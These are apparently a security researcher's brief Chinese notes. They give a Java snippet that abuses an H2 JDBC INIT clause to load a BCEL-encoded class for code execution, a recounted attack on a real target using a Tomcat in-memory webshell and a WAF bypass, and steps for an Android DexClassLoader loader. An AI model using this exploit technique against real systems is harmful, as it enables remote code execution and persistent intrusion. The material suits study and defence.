随手记

一、记一次H2 JDBC的实战利用

  1. 基于 BCEL 构造 H2 的不出网利用

    public class Test {
        public static void main(String[] args) throws Exception {
            String clazzBCELCode = "$$BCEL$$...";
            String connectionUrl = String.format("jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists test;create alias test as 'void exec() throws java.io.IOException  { try { new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\\"%s\\").newInstance(); } catch (Exception e){ }}';call test();", clazzBCELCode);
            Connection connection = DriverManager.getConnection(connectionUrl);
            connection.close();
        }
    }
    

    根据手上代码判断目标中间件大概率为 tomcat,于是直接生成对应中间件的内存马,构造请求后发过去,存在 waf

  2. WAF 绕过

    1. 远程加载 sql 文件,从而不会出现太多关键字。绕过 waf
  3. 判断中间件的坑点

    1. 在第一次注入内存马并没有成功,当时猜测原因是目标的中间件不是 tomcat ,因为通过当前线程的堆栈信息判断的结果为 None。
    2. 工具没覆盖到目标所用中间件
    3. 触发代码执行的线程非 web 进程

二、DEX加载器代码解析

  1. 先新建一个空界面的APP
  2. 找一个不会编译进APP的路径做dex
  3. 使用DexClassLoader从缓存目录中加载dex,并将优化好的dex放入代码缓存,设置父类类加载器为当前类加载器。
  4. 通过加载器的方法loadClass可以获得dex中的某个类。随后通过反射的方式就可以新建实例与调用方法了。

三、云安全案例5:黑客横扫亚马逊云,阿里云,Azure云, cloudflare做流量劫持的溯源分析